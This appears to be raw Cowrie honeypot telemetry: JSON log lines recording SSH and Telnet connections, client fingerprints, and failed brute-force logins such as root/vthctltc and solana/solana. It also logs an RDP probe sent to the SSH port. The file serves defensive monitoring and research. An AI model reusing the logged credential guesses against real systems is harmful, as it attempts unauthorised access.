{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44010,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2565da8f21","protocol":"ssh","message":"New connection: 147.45.199.80:44010 (159.203.135.109:22) [session: fc2565da8f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:22.855067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:22.859591Z","src_ip":"147.45.199.80","session":"fc2565da8f21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:22.981731Z","src_ip":"147.45.199.80","session":"fc2565da8f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vthctltc","message":"login attempt [root/vthctltc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:23.278900Z","src_ip":"147.45.199.80","session":"fc2565da8f21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:24.384438Z","src_ip":"147.45.199.80","session":"fc2565da8f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.177.186","src_port":45774,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb60dfa58e3d","protocol":"ssh","message":"New connection: 129.232.177.186:45774 (10.17.0.5:22) [session: cb60dfa58e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:31.556541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:31.560052Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:31.812495Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:9d:35:c4:c3:c2:6f:e4:8c:05:92:f6:bf:0e:b4:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdF1tk84QXiWZzNyUPN5Lu9GClY+9yv4vIaiwyuUyGgcp2SHQHpPfCKPuCHkhV0CqEiqEkQy9dFkXF9vKAyDMSnt9uDFQ3hYAYxiKIQ6+1cQOF4B0aZHopimi4QtpTB0lM1+NYrQg67ixooDxuDZy5Ks77JOmyAlSM9aZgcIOwr/IEUWpX1lskOywB4np+MlOEA1OOMm/HIdQ6r2ILHTKdz1H2VxYXqHihCzmLjUudwTRY6oVNcywiZQjCfu4FIqzVJQoXTXlBp3tQKMZpgh31mRoDznRsklLAWz6syuc3214sF9un7tIC+RV+YiwwlCZJZGqoByJ5ftFDnbtKLU7T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:9d:35:c4:c3:c2:6f:e4:8c:05:92:f6:bf:0e:b4:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:33.052466Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:9d:35:c4:c3:c2:6f:e4:8c:05:92:f6:bf:0e:b4:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdF1tk84QXiWZzNyUPN5Lu9GClY+9yv4vIaiwyuUyGgcp2SHQHpPfCKPuCHkhV0CqEiqEkQy9dFkXF9vKAyDMSnt9uDFQ3hYAYxiKIQ6+1cQOF4B0aZHopimi4QtpTB0lM1+NYrQg67ixooDxuDZy5Ks77JOmyAlSM9aZgcIOwr/IEUWpX1lskOywB4np+MlOEA1OOMm/HIdQ6r2ILHTKdz1H2VxYXqHihCzmLjUudwTRY6oVNcywiZQjCfu4FIqzVJQoXTXlBp3tQKMZpgh31mRoDznRsklLAWz6syuc3214sF9un7tIC+RV+YiwwlCZJZGqoByJ5ftFDnbtKLU7T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:33.055964Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:bf:f7:29:21:66:a7:20:86:b6:13:2b:cb:96:d2:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS9goCtLHcec82qWzOFJHtTfzd5YGY53krsxB57nj1ujEU7kArG7EWVSjE3WzLBf10gtYZ7vVXziuTps1aARp+R+ZiB+Lbz0P3FnB3KVZvF7cFb2YnCL/+cBMeXUSRsUO/ySC7m6uoZk9ihienqdIhhzMtx4O76cYWFXV2ToKt4mzNuKweYMu+RSSAMayrGCe61x9MyLhktt58DF5oWA9wbJd4bg8mSELfHhxVhYqXH+rDA5p+qBNxvLuY/51FR3ghLW2pR6bszjm4/+L86EY7v+oEP4mdLfbeUM95Ski5xKNQ1DAERT+IZIaD4WKNy/y9gUPtlog2l/OyaHEAOJ1L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:bf:f7:29:21:66:a7:20:86:b6:13:2b:cb:96:d2:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:33.880122Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:bf:f7:29:21:66:a7:20:86:b6:13:2b:cb:96:d2:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS9goCtLHcec82qWzOFJHtTfzd5YGY53krsxB57nj1ujEU7kArG7EWVSjE3WzLBf10gtYZ7vVXziuTps1aARp+R+ZiB+Lbz0P3FnB3KVZvF7cFb2YnCL/+cBMeXUSRsUO/ySC7m6uoZk9ihienqdIhhzMtx4O76cYWFXV2ToKt4mzNuKweYMu+RSSAMayrGCe61x9MyLhktt58DF5oWA9wbJd4bg8mSELfHhxVhYqXH+rDA5p+qBNxvLuY/51FR3ghLW2pR6bszjm4/+L86EY7v+oEP4mdLfbeUM95Ski5xKNQ1DAERT+IZIaD4WKNy/y9gUPtlog2l/OyaHEAOJ1L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:33.884045Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:7d:74:19:2b:12:09:50:b1:9b:c8:61:21:f3:81:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25WMEp8yyQkpJ4C34tAAAPFuUJgu269sey6MhNyR9fAMjFD8wa4FU7skDwDbjJt/hZIsbNTJrnoL/EY3zfFPHGpcBESFce2YURLg4V2YtZtaLzH71U4tUFY1KN461RiSX0nXwMTf9whhTj8wV8NczZHzdhkSuyLdfw8hpqFgxA5C8ahq3GdAtY6azmbMujx3pLIk7KEBtM5p4W1kNoiQe2HjtQpoUBYEfg+lJ23AKYXki2MVmGAZvvXLoaLXyGD2Qg2k9lX77u0Z/TCVQC1OiA1mwcFH5VpsNP8gtyvPD/TTnEp0fBJjVOgB3XcqAGgiS7mjun0Gvv/39Dlp1yrUb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:7d:74:19:2b:12:09:50:b1:9b:c8:61:21:f3:81:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.138205Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:7d:74:19:2b:12:09:50:b1:9b:c8:61:21:f3:81:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25WMEp8yyQkpJ4C34tAAAPFuUJgu269sey6MhNyR9fAMjFD8wa4FU7skDwDbjJt/hZIsbNTJrnoL/EY3zfFPHGpcBESFce2YURLg4V2YtZtaLzH71U4tUFY1KN461RiSX0nXwMTf9whhTj8wV8NczZHzdhkSuyLdfw8hpqFgxA5C8ahq3GdAtY6azmbMujx3pLIk7KEBtM5p4W1kNoiQe2HjtQpoUBYEfg+lJ23AKYXki2MVmGAZvvXLoaLXyGD2Qg2k9lX77u0Z/TCVQC1OiA1mwcFH5VpsNP8gtyvPD/TTnEp0fBJjVOgB3XcqAGgiS7mjun0Gvv/39Dlp1yrUb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.141447Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:ee:01:3c:c3:a6:39:6e:e9:fa:21:3c:4a:43:61:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsP9KGhLgpBsl/jFdusrGMnWuSzVTFiNFoQvnpzQJ1UiPm7fhMJsK8HVvpSvi+HvQyf6xS+IU2/3e46X5/G6ltr5BMQMZyFXpgmF3ItkiG7XgU9LzJqG8NgKCP6Qzh15Tcgp289FpjO+a6/L7VwCAxfQRhf44jqMYDeApEVxf5ur+hQfz3SGGquRnRfSujuglhnx0zSWvVabuQ8TIFFWPcKC4Umvb7z2e+/C6F7hmZW6U6zuB058f0qh9NBxaVWFvxGxbf0dEP6oAEduG+moCOCNAjMhNYodP+LEXx09nVLRfK4O1tV1ZcWjIuj+u677xBn0afxgFFfM9iZAh1mdbMYPoDk+BDfcng81WBoIPIAWON4yvxBZVWCazexnxsjYZ1pDhKA1GQ4QTXjLFc9ypAH/dlOAvZtNmfkq5P2wQwOep+EA+VuP98FVlN3XBseqv26TS5yDe2hlD6Ji6mB8SMSIutqmhqiSxcxJGLk0t03CjoKjLX9gvzM8xXI4j5LJ8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:ee:01:3c:c3:a6:39:6e:e9:fa:21:3c:4a:43:61:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.393694Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:ee:01:3c:c3:a6:39:6e:e9:fa:21:3c:4a:43:61:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsP9KGhLgpBsl/jFdusrGMnWuSzVTFiNFoQvnpzQJ1UiPm7fhMJsK8HVvpSvi+HvQyf6xS+IU2/3e46X5/G6ltr5BMQMZyFXpgmF3ItkiG7XgU9LzJqG8NgKCP6Qzh15Tcgp289FpjO+a6/L7VwCAxfQRhf44jqMYDeApEVxf5ur+hQfz3SGGquRnRfSujuglhnx0zSWvVabuQ8TIFFWPcKC4Umvb7z2e+/C6F7hmZW6U6zuB058f0qh9NBxaVWFvxGxbf0dEP6oAEduG+moCOCNAjMhNYodP+LEXx09nVLRfK4O1tV1ZcWjIuj+u677xBn0afxgFFfM9iZAh1mdbMYPoDk+BDfcng81WBoIPIAWON4yvxBZVWCazexnxsjYZ1pDhKA1GQ4QTXjLFc9ypAH/dlOAvZtNmfkq5P2wQwOep+EA+VuP98FVlN3XBseqv26TS5yDe2hlD6Ji6mB8SMSIutqmhqiSxcxJGLk0t03CjoKjLX9gvzM8xXI4j5LJ8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.397625Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz/X0siOxIPqXRmA2co3G9aJgmMvbcIJ8hiGVlMpxvDwUOOMlX6P9him1lbp655sls7MwfMMj8cdWvRK8+s75jANgMox4FxBUla173ph8kzvZAgCD6Fe/KqBtMDutJYOHQWGpxck0qdIFQHUo1QWUSAFt1Ddi58cxjZHCYO7WGmYE/iCFq5EQe6cOyrULm8kDJ/g4QHWLN4USu7zy26H/J2SjykeWbYi7jhYt9/CTfzCHxazgjGEfadLlsi+27z/bQD93j/gOIba20PxfbTndboROLE9X8bK6euoDrgnYBZ0ykjsoz9hI4Kn9iQLSOcgoKGU8dMkkCUM1UYmU89HTRTlWTKXRgiX2qcUw689y8j+HjxtTgC1DfHn3Sq2D/raPCToAg2v3FYSv73sdjfNlYQnOcbgrMATEzwCg2h9yhtQz3OY/UeF8Nahxg6zFm4L01bLBf2FwNClO+9h/fSWWMNIdkAokD7VsjtOXhTQ3bMSmDljFBuZF6P/5MmeqGGamHaM7sQWTDwUvcfLA6wqhW/EprcAPp5UyYHRJrvwkILt+tLa1l6+s+f3tl11SCm9oRrja+2JXKWsTjdFvQeM3lJZ2SdD9AJTcPYarsrPhHLARa45DZGdEivz5Md6JvdgMqi98zjY080zJu62JY4Rk60mhhUuUFLmA2zLMx56ciQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.650754Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz/X0siOxIPqXRmA2co3G9aJgmMvbcIJ8hiGVlMpxvDwUOOMlX6P9him1lbp655sls7MwfMMj8cdWvRK8+s75jANgMox4FxBUla173ph8kzvZAgCD6Fe/KqBtMDutJYOHQWGpxck0qdIFQHUo1QWUSAFt1Ddi58cxjZHCYO7WGmYE/iCFq5EQe6cOyrULm8kDJ/g4QHWLN4USu7zy26H/J2SjykeWbYi7jhYt9/CTfzCHxazgjGEfadLlsi+27z/bQD93j/gOIba20PxfbTndboROLE9X8bK6euoDrgnYBZ0ykjsoz9hI4Kn9iQLSOcgoKGU8dMkkCUM1UYmU89HTRTlWTKXRgiX2qcUw689y8j+HjxtTgC1DfHn3Sq2D/raPCToAg2v3FYSv73sdjfNlYQnOcbgrMATEzwCg2h9yhtQz3OY/UeF8Nahxg6zFm4L01bLBf2FwNClO+9h/fSWWMNIdkAokD7VsjtOXhTQ3bMSmDljFBuZF6P/5MmeqGGamHaM7sQWTDwUvcfLA6wqhW/EprcAPp5UyYHRJrvwkILt+tLa1l6+s+f3tl11SCm9oRrja+2JXKWsTjdFvQeM3lJZ2SdD9AJTcPYarsrPhHLARa45DZGdEivz5Md6JvdgMqi98zjY080zJu62JY4Rk60mhhUuUFLmA2zLMx56ciQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.655142Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:34.909505Z","src_ip":"129.232.177.186","session":"cb60dfa58e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53330,"dst_ip":"10.17.0.5","dst_port":23,"session":"f658e9e02b91","protocol":"telnet","message":"New connection: 152.42.224.71:53330 (10.17.0.5:23) [session: f658e9e02b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:49.792735Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4dee43d8c7","protocol":"telnet","message":"New connection: 152.42.224.71:56276 (10.17.0.5:23) [session: 2d4dee43d8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:26:59.863757Z"}
{"eventid":"cowrie.session.closed","duration":32.247987031936646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:27:22.040615Z","src_ip":"152.42.224.71","session":"f658e9e02b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61627,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a1c19aee22","protocol":"ssh","message":"New connection: 167.172.81.52:61627 (159.203.135.109:22) [session: 41a1c19aee22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:27:24.010042Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:27:24.015471Z","src_ip":"167.172.81.52","session":"41a1c19aee22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:27:24.019338Z","src_ip":"167.172.81.52","session":"41a1c19aee22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.95542931556702,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:27:40.819089Z","src_ip":"152.42.224.71","session":"2d4dee43d8c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59476,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cfee91e8ce","protocol":"telnet","message":"New connection: 152.42.224.71:59476 (10.17.0.5:23) [session: 02cfee91e8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:11.624542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac16c6baad15","protocol":"telnet","message":"New connection: 152.42.224.71:53486 (10.17.0.5:23) [session: ac16c6baad15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:17.965322Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":46744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7055bed436d1","protocol":"ssh","message":"New connection: 80.94.92.168:46744 (10.17.0.5:22) [session: 7055bed436d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:22.553541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:22.580054Z","src_ip":"80.94.92.168","session":"7055bed436d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:22.771630Z","src_ip":"80.94.92.168","session":"7055bed436d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:23.520127Z","src_ip":"80.94.92.168","session":"7055bed436d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:24.728926Z","src_ip":"80.94.92.168","session":"7055bed436d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34964,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d33649fba8","protocol":"telnet","message":"New connection: 152.42.224.71:34964 (10.17.0.5:23) [session: 47d33649fba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:37.113590Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51106,"dst_ip":"159.203.135.109","dst_port":22,"session":"403bf18e4286","protocol":"ssh","message":"New connection: 103.149.28.157:51106 (159.203.135.109:22) [session: 403bf18e4286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:52.659353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:28:52.665193Z","src_ip":"103.149.28.157","session":"403bf18e4286","protocol":"ssh"}
